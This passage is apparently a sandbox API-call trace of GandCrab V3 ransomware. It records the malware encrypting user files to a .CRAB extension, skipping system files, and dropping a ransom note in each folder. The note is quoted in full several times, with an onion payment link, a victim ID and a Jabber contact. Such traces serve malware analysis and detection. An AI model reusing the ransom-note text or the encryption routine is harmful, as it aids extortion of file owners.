	[0124.143] CryptGetKeyParam (in: hKey=0x3166120, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0124.143] CryptEncrypt (in: hKey=0x3166120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0124.143] GetLastError () returned 0x0
	[0124.143] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.143] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0124.144] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.144] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x4c, lpOverlapped=0x0) returned 1
	[0124.157] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.158] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.158] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.158] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffffb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.158] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x50, lpOverlapped=0x0) returned 1
	[0124.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.159] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.163] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0124.163] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0124.163] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0124.165] CloseHandle (hObject=0x3f4) returned 1
	[0124.165] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.165] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.166] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.166] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.166] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.166] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.167] FindNextFileW (in: hFindFile=0x3166320, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0124.167] FindClose (in: hFindFile=0x3166320 | out: hFindFile=0x3166320) returned 1
	[0124.167] FindNextFileW (in: hFindFile=0x31667e0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0124.167] FindClose (in: hFindFile=0x31667e0 | out: hFindFile=0x31667e0) returned 1
	[0124.167] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.167] lstrcmpW (lpString1="Sun", lpString2=".") returned 1
	[0124.167] lstrcmpW (lpString1="Sun", lpString2="..") returned 1
	[0124.167] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Sun" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun"
	[0124.167] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\"
	[0124.167] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.168] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.168] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.168] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.168] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.168] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.168] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.169] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\\\CRAB-DECRYPT.txt") returned 59
	[0124.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sun\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.170] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.170] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0124.171] CloseHandle (hObject=0x3ec) returned 1
	[0124.171] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.172] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\") returned 42
	[0124.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\*"
	[0124.172] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x3166160
	[0124.172] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.172] FindNextFileW (in: hFindFile=0x3166160, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.172] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.172] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.172] FindNextFileW (in: hFindFile=0x3166160, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.172] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.172] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt"
	[0124.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.172] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt") returned 58
	[0124.173] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt") returned 58
	[0124.173] lstrlenW (lpString=".txt") returned 4
	[0124.173] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.173] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.173] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.173] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt") returned 58
	[0124.173] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\CRAB-DECRYPT.txt") returned 58
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.174] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.174] FindNextFileW (in: hFindFile=0x3166160, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.174] lstrcmpW (lpString1="Java", lpString2=".") returned 1
	[0124.174] lstrcmpW (lpString1="Java", lpString2="..") returned 1
	[0124.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\", lpString2="Java" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java"
	[0124.174] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\"
	[0124.174] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.175] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.175] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.175] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.175] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.175] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.175] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.175] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\\\CRAB-DECRYPT.txt") returned 64
	[0124.175] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sun\\java\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0124.177] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.177] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0124.178] CloseHandle (hObject=0x3f0) returned 1
	[0124.178] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.178] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\") returned 47
	[0124.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\*"
	[0124.178] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x3166260
	[0124.179] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.179] FindNextFileW (in: hFindFile=0x3166260, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.179] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.179] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.179] FindNextFileW (in: hFindFile=0x3166260, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.179] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.179] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt"
	[0124.179] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.179] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt") returned 63
	[0124.179] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt") returned 63
	[0124.179] lstrlenW (lpString=".txt") returned 4
	[0124.179] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.180] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.180] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.180] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt") returned 63
	[0124.180] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\CRAB-DECRYPT.txt") returned 63
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.180] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.181] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.181] FindNextFileW (in: hFindFile=0x3166260, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.181] lstrcmpW (lpString1="Deployment", lpString2=".") returned 1
	[0124.181] lstrcmpW (lpString1="Deployment", lpString2="..") returned 1
	[0124.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\", lpString2="Deployment" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment"
	[0124.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\"
	[0124.181] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.181] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.181] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.181] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.181] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.181] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.182] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.182] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.182] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.182] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.182] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\\\CRAB-DECRYPT.txt") returned 75
	[0124.182] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Sun\\Java\\Deployment\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\sun\\java\\deployment\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0124.183] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
